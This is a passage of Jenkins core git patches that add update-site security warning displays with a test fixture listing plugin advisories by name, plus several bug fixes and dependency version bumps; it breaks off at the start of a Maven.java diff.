INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +package jenkins.security.UpdateSiteWarningsConfiguration + +f = namespace(lib.FormTagLib) +st = namespace("jelly:stapler") + +st.adjunct(includes: "jenkins.security.UpdateSiteWarningsConfiguration.style") + +def printEntry(warning, title, checked) { + f.block { + f.checkbox(name: warning.id, + title: title, + checked: checked, + class: 'hideWarnings'); + div(class: "setting-description") { + a(warning.url, href: warning.url) + } + } +} + +f.section(title:_("Hidden security warnings")) { + + f.advanced(title: _("Security warnings"), align:"left") { + f.block { + text(_("blurb")) + } + f.entry(title: _("Security warnings"), + help: '/descriptorByName/UpdateSiteWarningsConfiguration/help') { + table(width:"100%") { + + descriptor.applicableWarnings.each { warning -> + if (warning.type == hudson.model.UpdateSite.Warning.Type.CORE) { + printEntry(warning, + _("warning.core", warning.message), + !descriptor.isIgnored(warning)) + } + else if (warning.type == hudson.model.UpdateSite.Warning.Type.PLUGIN) { + def plugin = descriptor.getPlugin(warning) + printEntry(warning, + _("warning.plugin", plugin.displayName, warning.message), + !descriptor.isIgnored(warning)) + } + } + } + } + } +} diff --git a/core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/config.properties b/core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/config.properties new file mode 100644 index 0000000000..333445cd3f --- /dev/null +++ b/core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/config.properties @@ -0,0 +1,27 @@ +# The MIT License +# +# Copyright (c) 2016, CloudBees, Inc. +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. + +warning.core = Jenkins core: {0} +warning.plugin = {0}: {1} + +blurb = This section allows you to disable warnings published on the update site. \ + Checked warnings are visible (the default), unchecked warnings are hidden. diff --git a/core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/help.html b/core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/help.html new file mode 100644 index 0000000000..1cb7b1df5d --- /dev/null +++ b/core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/help.html @@ -0,0 +1,14 @@ +

                                                        + This list contains all warnings relevant to currently installed components published by the configured update sites. + These are typically security-related. + Warnings that have been published but are not relevant to currently installed components (either because the affected component isn't installed, or an unaffected version is installed) are not shown here. +

                                                        +

                                                        + Checked entries (the default) are active, i.e. they're shown to administrators in an administrative monitor. + Entries can be unchecked to hide them. + This can be useful if you've evaluated a specific warning and are confident it does not apply to your environment or configuration, and continued use of the specified component does not constitute a security problem. +

                                                        +

                                                        + Please note that only specific warnings can be disabled; it is not possible to disable all warnings about a certain component. + If you wish to disable the display of warnings entirely, then you can disable the administrative monitor in Configure System. +

                                                        diff --git a/core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/style.css b/core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/style.css new file mode 100644 index 0000000000..ff1dd9bb5e --- /dev/null +++ b/core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/style.css @@ -0,0 +1,4 @@ +.hideWarnings:not(:checked) + label { + color: grey; + text-decoration: line-through; +} diff --git a/core/src/main/resources/jenkins/security/UpdateSiteWarningsMonitor/message.groovy b/core/src/main/resources/jenkins/security/UpdateSiteWarningsMonitor/message.groovy new file mode 100644 index 0000000000..09e9bfe161 --- /dev/null +++ b/core/src/main/resources/jenkins/security/UpdateSiteWarningsMonitor/message.groovy @@ -0,0 +1,77 @@ +/* + * The MIT License + * + * Copyright (c) 2016, CloudBees, Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +package jenkins.security.UpdateSiteWarningsMonitor + +def f = namespace(lib.FormTagLib) + +def listWarnings(warnings) { + warnings.each { warning -> + li { + a(warning.message, href: warning.url) + } + } +} + +def coreWarnings = my.activeCoreWarnings +def pluginWarnings = my.activePluginWarningsByPlugin + +div(class: "error") { + text(_("blurb")) + ul { + if (!coreWarnings.isEmpty()) { + li { + text(_("coreTitle", jenkins.model.Jenkins.version)) + ul { + listWarnings(coreWarnings) + } + } + } + + if (!pluginWarnings.isEmpty()) { + li { + pluginWarnings.each { plugin, warnings -> + a(_("pluginTitle", plugin.displayName, plugin.version), href: plugin.url) + + ul { + listWarnings(warnings) + } + } + } + } + } + + if (my.hasApplicableHiddenWarnings()) { + text(_("more")) + } +} + +form(method: "post", action: "${rootURL}/${it.url}/forward") { + div { + if (!pluginWarnings.isEmpty()) { + f.submit(name: 'fix', value: _("pluginManager.link")) + } + f.submit(name: 'configure', value: _("configureSecurity.link")) + } +} diff --git a/core/src/main/resources/jenkins/security/UpdateSiteWarningsMonitor/message.properties b/core/src/main/resources/jenkins/security/UpdateSiteWarningsMonitor/message.properties new file mode 100644 index 0000000000..35d33182f2 --- /dev/null +++ b/core/src/main/resources/jenkins/security/UpdateSiteWarningsMonitor/message.properties @@ -0,0 +1,31 @@ +# The MIT License +# +# Copyright (c) 2016, CloudBees, Inc. +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. + +pluginTitle = {0} {1}: +coreTitle = Jenkins {0} core and libraries: + +blurb = Warnings have been published for the following currently installed components: +more = Additional warnings are hidden due to the current security configuration. + + +pluginManager.link = Go to plugin manager +configureSecurity.link = Configure which of these warnings are shown diff --git a/test/src/test/java/hudson/model/UpdateSiteTest.java b/test/src/test/java/hudson/model/UpdateSiteTest.java index 8e22d43f76..8e49e20f2d 100644 --- a/test/src/test/java/hudson/model/UpdateSiteTest.java +++ b/test/src/test/java/hudson/model/UpdateSiteTest.java @@ -33,6 +33,7 @@ import java.io.IOException; import java.net.URISyntaxException; import java.net.URL; import java.util.Arrays; +import java.util.Collections; import java.util.HashSet; import javax.servlet.ServletException; @@ -41,6 +42,8 @@ import javax.servlet.http.HttpServletResponse; import static org.junit.Assert.*; +import jenkins.security.UpdateSiteWarningsConfiguration; +import jenkins.security.UpdateSiteWarningsMonitor; import org.apache.commons.io.FileUtils; import org.eclipse.jetty.server.HttpConnection; import org.eclipse.jetty.server.Request; @@ -52,6 +55,7 @@ import org.junit.Before; import org.junit.Rule; import org.junit.Test; import org.jvnet.hudson.test.JenkinsRule; +import org.jvnet.hudson.test.recipes.LocalData; public class UpdateSiteTest { @@ -127,5 +131,24 @@ public class UpdateSiteTest { assertEquals(FormValidation.ok(), us.updateDirectly(/* TODO the certificate is now expired, and downloading a fresh copy did not seem to help */false).get()); assertNotNull(us.getPlugin("AdaptivePlugin")); } - + + @Test public void lackOfDataDoesNotFailWarningsCode() throws Exception { + assertNull("plugin data is not present", j.jenkins.getUpdateCenter().getSite("default").getData()); + + // nothing breaking? + j.jenkins.getExtensionList(UpdateSiteWarningsMonitor.class).get(0).getActivePluginWarningsByPlugin(); + j.jenkins.getExtensionList(UpdateSiteWarningsMonitor.class).get(0).getActiveCoreWarnings(); + j.jenkins.getExtensionList(UpdateSiteWarningsConfiguration.class).get(0).getAllWarnings(); + } + + @Test public void incompleteWarningsJson() throws Exception { + PersistedList sites = j.jenkins.getUpdateCenter().getSites(); + sites.clear(); + URL url = new URL(baseUrl, "/plugins/warnings-update-center-malformed.json"); + UpdateSite site = new UpdateSite(UpdateCenter.ID_DEFAULT, url.toString()); + sites.add(site); + assertEquals(FormValidation.ok(), site.updateDirectly(false).get()); + assertEquals("number of warnings", 7, site.getData().getWarnings().size()); + assertNotEquals("plugin data is present", Collections.emptyMap(), site.getData().plugins); + } } diff --git a/test/src/test/resources/plugins/warnings-update-center-malformed.json b/test/src/test/resources/plugins/warnings-update-center-malformed.json new file mode 100644 index 0000000000..ba99e7aa55 --- /dev/null +++ b/test/src/test/resources/plugins/warnings-update-center-malformed.json @@ -0,0 +1,264 @@ +{ + "connectionCheckUrl": "http://www.google.com/", + "core": { + "buildDate": "Dec 18, 2016", + "name": "core", + "sha1": "x4rDgtNYm9l7zJ16RVuxMRgGoQE=", + "url": "http://updates.jenkins-ci.org/download/war/2.37/jenkins.war", + "version": "2.37" + }, + "id": "jenkins40494", + "plugins": { + "display-url-api": { + "buildDate": "Sep 22, 2016", + "dependencies": [ + { + "name": "junit", + "optional": false, + "version": "1.3" + } + ], + "developers": [ + { + "developerId": "jdumay", + "email": "jdumay@cloudbees.com", + "name": "James Dumay" + } + ], + "excerpt": "\\\\ Provides the DisplayURLProvider extension point to provide alternate URLs for use in notifications. URLs can be requested/extended for these UI locations: * Root page. * Job. * Run. * Run changes. * Test result. ", + "gav": "org.jenkins-ci.plugins:display-url-api:0.5", + "labels": [], + "name": "display-url-api", + "previousTimestamp": "2016-09-22T09:35:08.00Z", + "previousVersion": "0.4", + "releaseTimestamp": "2016-09-22T10:42:00.00Z", + "requiredCore": "1.625.3", + "scm": "github.com", + "sha1": "QEykyLSFuZTnFyHrzZEOgzSsYcU=", + "title": "Display URL API", + "url": "http://updates.jenkins-ci.org/download/plugins/display-url-api/0.5/display-url-api.hpi", + "version": "0.5", + "wiki": "https://wiki.jenkins-ci.org/display/JENKINS/Display+URL+API+Plugin" + }, + "junit": { + "buildDate": "Oct 17, 2016", + "dependencies": [ + { + "name": "structs", + "optional": false, + "version": "1.2" + } + ], + "developers": [ + { + "developerId": "ogondza" + } + ], + "excerpt": "Allows JUnit-format test results to be published.", + "gav": "org.jenkins-ci.plugins:junit:1.19", + "labels": [ + "report" + ], + "name": "junit", + "previousTimestamp": "2016-08-08T15:10:34.00Z", + "previousVersion": "1.18", + "releaseTimestamp": "2016-10-17T12:15:20.00Z", + "requiredCore": "1.580.1", + "scm": "github.com", + "sha1": "f3jcYlxz6/8PK43W3KL5LFtz7ro=", + "title": "JUnit Plugin", + "url": "http://updates.jenkins-ci.org/download/plugins/junit/1.19/junit.hpi", + "version": "1.19", + "wiki": "https://wiki.jenkins-ci.org/display/JENKINS/JUnit+Plugin" + }, + "mailer": { + "buildDate": "Sep 04, 2016", + "dependencies": [ + { + "name": "display-url-api", + "optional": false, + "version": "0.2" + } + ], + "developers": [ + { + "developerId": "andresrc" + } + ], + "excerpt": "This plugin allows you to configure email notifications for build results. This is a break-out of the original core based email component. ", + "gav": "org.jenkins-ci.plugins:mailer:1.18", + "labels": [], + "name": "mailer", + "previousTimestamp": "2016-04-20T08:46:22.00Z", + "previousVersion": "1.17", + "releaseTimestamp": "2016-09-04T09:14:16.00Z", + "requiredCore": "1.625.3", + "scm": "github.com", + "sha1": "poG1EauZFM5lZE5hCBx5mqr/mMA=", + "title": "Jenkins Mailer Plugin", + "url": "http://updates.jenkins-ci.org/download/plugins/mailer/1.18/mailer.hpi", + "version": "1.18", + "wiki": "https://wiki.jenkins-ci.org/display/JENKINS/Mailer" + }, + "extra-columns": { + "buildDate": "Apr 11, 2016", + "dependencies": [ + { + "name": "junit", + "optional": false, + "version": "1.11" + } + ], + "developers": [ + { + "developerId": "fredg", + "name": "Fred G." + } + ], + "excerpt": "This is a general listview-column plugin that currently contains the following columns: Test Result, Configure Project button, Disable/Enable Project button, Project Description, Build Description, SCM Type, Last/Current Build Console output, Job Type, Build Duration, Build Parameters.", + "gav": "org.jenkins-ci.plugins:extra-columns:1.17", + "labels": [ + "listview-column" + ], + "name": "extra-columns", + "previousTimestamp": "2015-12-11T01:18:48.00Z", + "previousVersion": "1.16", + "releaseTimestamp": "2016-04-11T22:36:22.00Z", + "requiredCore": "1.475", + "scm": "github.com", + "sha1": "8y9Y91n7/Aw47G3pCxzJzTd94J0=", + "title": "Extra Columns Plugin", + "url": "http://updates.jenkins-ci.org/download/plugins/extra-columns/1.17/extra-columns.hpi", + "version": "1.17", + "wiki": "https://wiki.jenkins-ci.org/display/JENKINS/Extra+Columns+Plugin" + }, + "structs": { + "buildDate": "Aug 30, 2016", + "dependencies": [], + "developers": [ + { + "developerId": "jglick" + } + ], + "excerpt": "Library plugin for DSL plugins that need concise names for Jenkins extensions", + "gav": "org.jenkins-ci.plugins:structs:1.5", + "labels": [], + "name": "structs", + "previousTimestamp": "2016-08-26T14:11:44.00Z", + "previousVersion": "1.4", + "releaseTimestamp": "2016-08-30T14:10:10.00Z", + "requiredCore": "1.580.1", + "scm": "github.com", + "sha1": "fK+F0PEfSS//DOqmNJvX2rQYabo=", + "title": "Structs Plugin", + "url": "http://updates.jenkins-ci.org/download/plugins/structs/1.5/structs.hpi", + "version": "1.5", + "wiki": "https://wiki.jenkins-ci.org/display/JENKINS/Structs+plugin" + } + }, + "warnings": [ + { + "id": "SECURITY-208", + "type": "plugin", + "name": "google-login", + "message": "Authentication bypass vulnerability", + "url": "https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2015-10-12", + "versions": [ + { + "lastVersion": "1.1", + "pattern": "1[.][01](|[.-].*)" + } + ] + }, + { + "id": "SECURITY-136", + "type": "plugin", + "name": "extra-columns", + "message": "Stored XSS vulnerability", + "url": "https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2016-04-11", + "versions": [ + { + "lastVersion": "1.16", + "pattern": "1[.](\\d|1[0123456])(|[.-].*)" + } + ] + }, + { + "id": "SECURITY-258", + "type": "plugin", + "name": "extra-columns", + "message": "Groovy sandbox protection incomplete", + "url": "https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2016-04-11", + "versions": [ + { + "lastVersion": "1.18", + "pattern": "1[.](\\d|1[012345678])(|[.-].*)" + } + ] + }, + { + "id": "SECURITY-85", + "type": "plugin", + "name": "tap", + "message": "Path traversal vulnerability", + "url": "https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2016-06-20", + "versions": [ + { + "lastVersion": "1.24", + "pattern": "1[.](\\d|1\\d|2[01234])(|[.-].*)" + } + ] + }, + { + "id": "SECURITY-278", + "type": "plugin", + "name": "image-gallery", + "message": "Path traversal vulnerability", + "url": "https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2016-06-20", + "versions": [ + { + "lastVersion": "1.3", + "pattern": "(0[.].*|1[.][0123])(|[.-].*)" + } + ] + }, + { + "id": "SECURITY-290", + "type": "plugin", + "name": "build-failure-analyzer", + "message": "Cross-site scripting vulnerability", + "url": "https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2016-06-20", + "versions": [ + { + "lastVersion": "1.15.0", + "pattern": "1[.](\\d|1[012345])[.]\\d+(|[.-].*)" + } + ] + }, + { + "id": "SECURITY-305", + "type": "plugin", + "versions": [ + { + "lastVersion": "1.7.24", + "pattern": "1[.]7[.](\\d(|[.-].*)|24)" + } + ] + }, + { + "id": "SECURITY-309", + "type": "plugin", + "name": "cucumber-reports", + "message": "Plugin disables Content-Security-Policy for files served by Jenkins", + "url": "https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2016-07-27", + "versions": [ + { + "firstVersion": "1.3.0", + "lastVersion": "2.5.1", + "pattern": "(1[.][34]|2[.][012345])(|[.-].*)" + } + ] + } + ], + "updateCenterVersion": "1" +} \ No newline at end of file diff --git a/war/src/main/webapp/css/style.css b/war/src/main/webapp/css/style.css index 9491f28afb..3f2812f2cb 100644 --- a/war/src/main/webapp/css/style.css +++ b/war/src/main/webapp/css/style.css @@ -1580,6 +1580,13 @@ TEXTAREA.rich-editor { color: #FF0000; } +#plugins .securityWarning { + white-space: normal; + margin-top: 0.5em; + padding-left: 2em; + color: #FF0000; +} + /* ========================= progress bar ========================= */ table.progress-bar { -- GitLab From 6fbd3318c89a9bc3ac0f101a7edf1a4bd561d0b7 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Wed, 11 Jan 2017 12:06:44 +0100 Subject: [PATCH 693/811] Update changelog.html --- changelog.html | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 7b4dc94ef5..4cbd39792e 100644 --- a/changelog.html +++ b/changelog.html @@ -64,7 +64,8 @@ Upcoming changes
                                                      • Support displaying of warnings from the Update Site in the Plugin Manager and in administrative monitors. - (issue 40404) + (issue 40404, + announcement blog post)
                                                      • Do not print warnings about undefined parameters when hudson.model.ParametersAction.keepUndefinedParameters property is set to false. -- GitLab From 4ade65d1fb31c981fca6e14c0c20c98a70e41442 Mon Sep 17 00:00:00 2001 From: Christopher Siden Date: Sat, 7 Jan 2017 12:48:15 -0800 Subject: [PATCH 694/811] [JENKINS-40470] Jobs didn't finish on Solaris 11 Intel node (#2701) * [JENKINS-40470] Jobs didn't finish on Solaris 11 Intel node * make length limit a system property (cherry picked from commit 4df0c56ea4013bb37ad2c7a18b57f8b7fa977347) --- .../src/main/java/hudson/util/ProcessTree.java | 18 ++++++++++++++++-- 1 file changed, 16 insertions(+), 2 deletions(-) diff --git a/core/src/main/java/hudson/util/ProcessTree.java b/core/src/main/java/hudson/util/ProcessTree.java index 5fae26a4d3..40e30217a5 100644 --- a/core/src/main/java/hudson/util/ProcessTree.java +++ b/core/src/main/java/hudson/util/ProcessTree.java @@ -787,6 +787,14 @@ public abstract class ProcessTree implements Iterable, IProcessTree, private static final byte PR_MODEL_ILP32 = 1; private static final byte PR_MODEL_LP64 = 2; + /* + * An arbitrary upper-limit on how many characters readLine() will + * try reading before giving up. This avoids having readLine() loop + * over the entire process address space if this class has bugs. + */ + private final int LINE_LENGTH_LIMIT = + SystemProperties.getInteger(Solaris.class.getName()+".lineLimit", 10000); + /* * True if target process is 64-bit (Java process may be different). */ @@ -900,7 +908,7 @@ public abstract class ProcessTree implements Iterable, IProcessTree, for( int n=0; n, IProcessTree, for( int n=0; ; n++ ) { // read a pointer to one entry LIBC.pread(fd, m, new NativeLong(psize), new NativeLong(envp+n*psize)); - long addr = b64 ? m.getLong(0) : m.getInt(0); + long addr = b64 ? m.getLong(0) : to64(m.getInt(0)); if (addr == 0) // completed the walk break; @@ -959,7 +967,13 @@ public abstract class ProcessTree implements Iterable, IProcessTree, Memory m = new Memory(1); byte ch = 1; ByteArrayOutputStream buf = new ByteArrayOutputStream(); + int i = 0; while(true) { + if (i++ > LINE_LENGTH_LIMIT) { + LOGGER.finest("could not find end of line, giving up"); + throw new IOException("could not find end of line, giving up"); + } + LIBC.pread(fd, m, new NativeLong(1), new NativeLong(addr)); ch = m.getByte(0); if (ch == 0) -- GitLab From 1e677894cdd7c2c95ac5de211153ccb569dd98ad Mon Sep 17 00:00:00 2001 From: Kanstantsin Shautsou Date: Fri, 6 Jan 2017 19:12:04 +0300 Subject: [PATCH 695/811] [FIXED JENKINS-40863] Don't use javax.servlet imports for remoting call Signed-off-by: Kanstantsin Shautsou (cherry picked from commit 9d29d65033ee71af4109dd15bcb0d02f3a0694e0) --- core/src/main/java/hudson/tasks/Shell.java | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/core/src/main/java/hudson/tasks/Shell.java b/core/src/main/java/hudson/tasks/Shell.java index bdd3ca44cf..1986e2dea7 100644 --- a/core/src/main/java/hudson/tasks/Shell.java +++ b/core/src/main/java/hudson/tasks/Shell.java @@ -24,7 +24,6 @@ package hudson.tasks; import hudson.FilePath; -import hudson.Functions; import hudson.Util; import hudson.Extension; import hudson.model.AbstractProject; @@ -35,6 +34,7 @@ import java.io.ObjectStreamException; import hudson.util.LineEndingConversion; import jenkins.security.MasterToSlaveCallable; import net.sf.json.JSONObject; +import org.apache.commons.lang.SystemUtils; import org.jenkinsci.Symbol; import org.kohsuke.accmod.Restricted; import org.kohsuke.accmod.restrictions.DoNotUse; @@ -153,8 +153,9 @@ public class Shell extends CommandInterpreter { */ @Deprecated public String getShellOrDefault() { - if(shell==null) - return Functions.isWindows() ?"sh":"/bin/sh"; + if (shell == null) { + return SystemUtils.IS_OS_WINDOWS ? "sh" : "/bin/sh"; + } return shell; } @@ -229,7 +230,7 @@ public class Shell extends CommandInterpreter { private static final long serialVersionUID = 1L; public String call() throws IOException { - return Functions.isWindows() ? "sh" : "/bin/sh"; + return SystemUtils.IS_OS_WINDOWS ? "sh" : "/bin/sh"; } } -- GitLab From 965b8409c30d388bd347f87d987f09d66fb597d9 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Fri, 9 Dec 2016 12:00:43 +0100 Subject: [PATCH 696/811] [FIX JENKINS-39700] Don't fail when no parameters property for job (cherry picked from commit e43222dde84be0ea7d05647790fedc12d70f8052) --- core/src/main/java/hudson/model/Job.java | 16 ---------------- 1 file changed, 16 deletions(-) diff --git a/core/src/main/java/hudson/model/Job.java b/core/src/main/java/hudson/model/Job.java index b0cbe82a22..9dc1e2752a 100644 --- a/core/src/main/java/hudson/model/Job.java +++ b/core/src/main/java/hudson/model/Job.java @@ -1231,8 +1231,6 @@ public abstract class Job, RunT extends Run, JobPropertyDescriptor> t = new DescribableList, JobPropertyDescriptor>(NOOP,getAllProperties()); JSONObject jsonProperties = json.optJSONObject("properties"); if (jsonProperties != null) { - //This handles the situation when Parameterized build checkbox is checked but no parameters are selected. User will be redirected to an error page with proper error message. - Job.checkForEmptyParameters(jsonProperties); t.rebuild(req,jsonProperties,JobPropertyDescriptor.getPropertyDescriptors(Job.this.getClass())); } else { t.clear(); @@ -1537,18 +1535,4 @@ public abstract class Job, RunT extends Run Date: Fri, 16 Dec 2016 22:51:21 +0100 Subject: [PATCH 697/811] [FIXED JENKINS-40362] - Update SSHD Module to 1.9 (#2662) (cherry picked from commit ef8ddd8a48df04952e59d242e713ff6e05b972c5) --- war/pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/war/pom.xml b/war/pom.xml index 57c54b16a6..fd806727e6 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -134,7 +134,7 @@ THE SOFTWARE. org.jenkins-ci.modules sshd - 1.7 + 1.9 org.jenkins-ci.ui -- GitLab From 5bb021e0bd808ee34263a0860c022a38fe47eff1 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sun, 25 Dec 2016 16:36:26 +0100 Subject: [PATCH 698/811] Merge pull request #2674 from jglick/InstallPluginCommand [FIX JENKINS-32358] Correctly compute plugin name when multiple sources are passed to install-plugin CLI command --- .../java/hudson/cli/InstallPluginCommand.java | 38 +++++++++++-------- 1 file changed, 23 insertions(+), 15 deletions(-) diff --git a/core/src/main/java/hudson/cli/InstallPluginCommand.java b/core/src/main/java/hudson/cli/InstallPluginCommand.java index 21484e05bf..c21a96628d 100644 --- a/core/src/main/java/hudson/cli/InstallPluginCommand.java +++ b/core/src/main/java/hudson/cli/InstallPluginCommand.java @@ -75,17 +75,20 @@ public class InstallPluginCommand extends CLICommand { h.checkPermission(PluginManager.UPLOAD_PLUGINS); PluginManager pm = h.getPluginManager(); + if (sources.size() > 1 && name != null) { + throw new IllegalArgumentException("-name is incompatible with multiple sources"); + } + for (String source : sources) { // is this a file? if (channel!=null) { FilePath f = new FilePath(channel, source); if (f.exists()) { stdout.println(Messages.InstallPluginCommand_InstallingPluginFromLocalFile(f)); - if (name==null) - name = f.getBaseName(); - f.copyTo(getTargetFilePath()); + String n = name != null ? name : f.getBaseName(); + f.copyTo(getTargetFilePath(n)); if (dynamicLoad) - pm.dynamicLoad(getTargetFile()); + pm.dynamicLoad(getTargetFile(n)); continue; } } @@ -94,16 +97,21 @@ public class InstallPluginCommand extends CLICommand { try { URL u = new URL(source); stdout.println(Messages.InstallPluginCommand_InstallingPluginFromUrl(u)); - if (name==null) { - name = u.getPath(); - name = name.substring(name.lastIndexOf('/')+1); - name = name.substring(name.lastIndexOf('\\')+1); - int idx = name.lastIndexOf('.'); - if (idx>0) name = name.substring(0,idx); + String n; + if (name != null) { + n = name; + } else { + n = u.getPath(); + n = n.substring(n.lastIndexOf('/') + 1); + n = n.substring(n.lastIndexOf('\\') + 1); + int idx = n.lastIndexOf('.'); + if (idx > 0) { + n = n.substring(0, idx); + } } - getTargetFilePath().copyFrom(u); + getTargetFilePath(n).copyFrom(u); if (dynamicLoad) - pm.dynamicLoad(getTargetFile()); + pm.dynamicLoad(getTargetFile(n)); continue; } catch (MalformedURLException e) { // not an URL @@ -149,11 +157,11 @@ public class InstallPluginCommand extends CLICommand { return 0; // all success } - private FilePath getTargetFilePath() { - return new FilePath(getTargetFile()); + private static FilePath getTargetFilePath(String name) { + return new FilePath(getTargetFile(name)); } - private File getTargetFile() { + private static File getTargetFile(String name) { return new File(Jenkins.getActiveInstance().getPluginManager().rootDir,name+".jpi"); } } -- GitLab From c4b22140c0cbe7bccef9b01013154ef7866365c0 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Tue, 27 Dec 2016 12:06:26 +0100 Subject: [PATCH 699/811] [FIXED JENKINS-39835] - Update remoting to 3.4 (#2679) (cherry picked from commit 7c2e1b2ece1770874eedd69cf20142aad4b491b9) --- pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pom.xml b/pom.xml index bf7e674ac5..124fdb4d06 100644 --- a/pom.xml +++ b/pom.xml @@ -180,7 +180,7 @@ THE SOFTWARE. org.jenkins-ci.main remoting - 3.2 + 3.4 -- GitLab From 772683a69851cadede4390bdb606f16f8f868d8c Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Sat, 24 Dec 2016 09:09:58 -0500 Subject: [PATCH 700/811] [FIXED JENKINS-25333] Update to Winstone 3.2. (#2673) (cherry picked from commit 4f814c0a9f8e72384046015975f201f4f693abaf) --- war/pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/war/pom.xml b/war/pom.xml index fd806727e6..0c274318ac 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -93,7 +93,7 @@ THE SOFTWARE. --> org.jenkins-ci winstone - 3.1 + 3.2 test -- GitLab From fc12b2cc1a20cd1518fe0bc2387ab1580377cb18 Mon Sep 17 00:00:00 2001 From: Victor Date: Tue, 27 Dec 2016 10:47:18 +0100 Subject: [PATCH 701/811] [FIX JENKINS-39268] Properties are not passed to Maven command by Maven build step (#2638) * [FIX JENKINS-39268] Properties are not passed to Maven command by Maven build step * [FIX JENKINS-39268] Properties are not passed to Maven command by Maven build step * [FIX JENKINS-39268] Properties are not passed to Maven command by Maven build step * [FIX JENKINS-39268] Changed order in which properties are appended to command line: properties appended later win in case of conflicts * [FIX JENKINS-39268] More precise messages in some assertions * [FIX JENKINS-39268] Cleanup unused imports * [FIX JENKINS-39268] Added functional tests for Maven task. (cherry picked from commit 138ce3d8d191daab42ed986254ae689ceb836aad) --- core/src/main/java/hudson/tasks/Maven.java | 12 ++++--- .../src/test/java/hudson/tasks/MavenTest.java | 34 ++++++++++++++----- 2 files changed, 33 insertions(+), 13 deletions(-) diff --git a/core/src/main/java/hudson/tasks/Maven.java 